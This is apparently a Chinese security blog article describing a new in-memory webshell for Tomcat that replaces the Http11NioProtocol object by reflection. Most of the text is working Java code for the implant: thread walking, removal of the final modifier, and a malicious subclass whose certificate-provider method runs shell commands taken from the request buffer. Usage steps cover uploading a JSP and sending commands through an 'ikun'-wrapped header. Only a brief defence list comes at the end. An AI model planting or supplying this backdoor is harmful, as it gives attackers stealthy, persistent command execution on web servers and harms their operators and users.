探索新内存马 Http11NioProtocol 内存马
字数 917 2025-08-20 18:17:48
Http11NioProtocol 内存马技术分析与实现
前言
本文详细分析了一种新型Tomcat内存马技术,通过修改Http11NioProtocol对象实现命令执行。这种内存马具有以下特点:
- 稳定注入调用
- 无痕,不影响正常业务
- 可以实现命令执行回显
技术原理
调用链分析
访问Servlet的标准调用链如下:
init:12, HelloServlet (com.example.tomcat_demo)
init:158, GenericServlet (javax.servlet)
initServlet:1144, StandardWrapper (org.apache.catalina.core)
loadServlet:1091, StandardWrapper (org.apache.catalina.core)
allocate:773, StandardWrapper (org.apache.catalina.core)
invoke:133, StandardWrapperValve (org.apache.catalina.core)
invoke:96, StandardContextValve (org.apache.catalina.core)
invoke:496, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:140, StandardHostValve (org.apache.catalina.core)
invoke:81, ErrorReportValve (org.apache.catalina.valves)
invoke:650, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:87, StandardEngineValve (org.apache.catalina.core)
service:342, CoyoteAdapter (org.apache.catalina.connector)
service:803, Http11Processor (org.apache.coyote.http11)
process:66, AbstractProcessorLight (org.apache.coyote)
process:790, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1459, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:745, Thread (java.lang)
关键注入点
在AbstractProtocol$ConnectionHandler.process()方法中,存在以下关键代码:
processor.setSslSupport(wrapper.getSslSupport(getProtocol().getClientCertProvider()));
通过控制getProtocol()返回的对象,重写getClientCertProvider()方法可以实现命令执行。
实现步骤
1. 获取AbstractProtocol$ConnectionHandler对象
通过线程遍历获取包含"Acceptor"和"http-nio"特征的线程,进而获取Handler对象:
public Object getTheHandler() {
Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
for (Thread thread : threads) {
try {
if (thread.getName().contains("Acceptor") && thread.getName().contains("http-nio")) {
Object handler = getField(getField(getField(thread, "target"),"this$0"),"handler");
return handler;
}
} catch (Exception e) {
continue;
}
}
return new Object();
}
2. 修改final字段
虽然proto字段是private final,但可以通过反射修改:
public static void makeSettable(Field f) {
try {
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~Modifier.FINAL);
f.setAccessible(true);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
3. 替换proto对象
将原来的proto字段替换为恶意的EvilHttp11NioProtocol对象:
Object obj = getTheHandler();
Field field = obj.getClass().getDeclaredField("proto");
makeSettable(field);
field.set(obj, new EvilHttp11NioProtocol());
4. 恶意Http11NioProtocol实现
创建继承自Http11NioProtocol的恶意类,重写getClientCertProvider()方法:
public class EvilHttp11NioProtocol extends Http11NioProtocol {
public EvilHttp11NioProtocol() {
super();
}
@Override
public String getClientCertProvider() {
try {
String cmd = getCmd(getRequest());
System.out.println(cmd);
if (!cmd.equals("")){
String[] cmds = System.getProperty("os.name").toLowerCase().contains("windows")
? new String[]{"cmd.exe", "/c", cmd}
: new String[]{"/bin/sh", "-c", cmd};
byte[] result = new java.util.Scanner(
new ProcessBuilder(cmds).start().getInputStream())
.useDelimiter("\\A").next().getBytes();
}
} catch (Exception e) {}
return super.getClientCertProvider();
}
// 获取请求参数
public String getRequest() {
Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
for (Thread thread : threads) {
try {
if (thread.getName().contains("Acceptor") && thread.getName().contains("http-nio")) {
Object[] nioEndpointPollerArrays = (Object[]) getField(
getField(getField(thread,"target"),"this$0"),"pollers");
for (Object nioEndpointPollerArray : nioEndpointPollerArrays){
Object[] channelArrays = (Object[]) getField(
getField(nioEndpointPollerArray,"selector"),"channelArray");
for (Object obj : channelArrays){
if (obj != null){
byte[] bytes = (byte[]) getField(
getField(
getField(
getField(
getField(obj,"attachment"),
"socket"),
"appReadBufHandler"),
"byteBuffer"),
"hb");
return new String(bytes);
}
}
}
}
} catch (Exception e) {
continue;
}
}
return "";
}
// 解析命令
public String getCmd(String str){
return str.substring(str.indexOf("ikun")+4, str.lastIndexOf("ikun"));
}
}
5. 反射工具方法
public Object getField(Object obj, String field) {
Class clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field declaredField = clazz.getDeclaredField(field);
declaredField.setAccessible(true);
return declaredField.get(obj);
} catch (Exception e) {
clazz = clazz.getSuperclass();
}
}
return null;
}
使用说明
注入方式
- 将恶意JSP文件上传到服务器
- 访问该JSP文件完成注入
- 后续请求中在HTTP头添加
cmd: ikun[command]ikun格式的命令
示例HTTP请求:
GET /path/to/memshell.jsp HTTP/1.1
Host: target.com
cmd: ikunnotepadikun
...
特点
优点:
- 植入后隐蔽性良好
- 不影响正常业务
- 稳定执行命令
缺点:
- 获取的是上一次请求的参数
- 目前无法实现回显
- 未在其他Tomcat版本充分测试
防御措施
- 禁用JSP上传功能
- 监控Tomcat关键类的修改
- 使用安全产品检测内存马
- 定期重启服务清除潜在内存马
- 更新到最新版Tomcat
总结
这种Http11NioProtocol内存马技术通过修改Tomcat核心协议处理对象实现命令执行,具有较高的隐蔽性。安全团队应关注此类新型内存马技术,并采取相应的防御措施。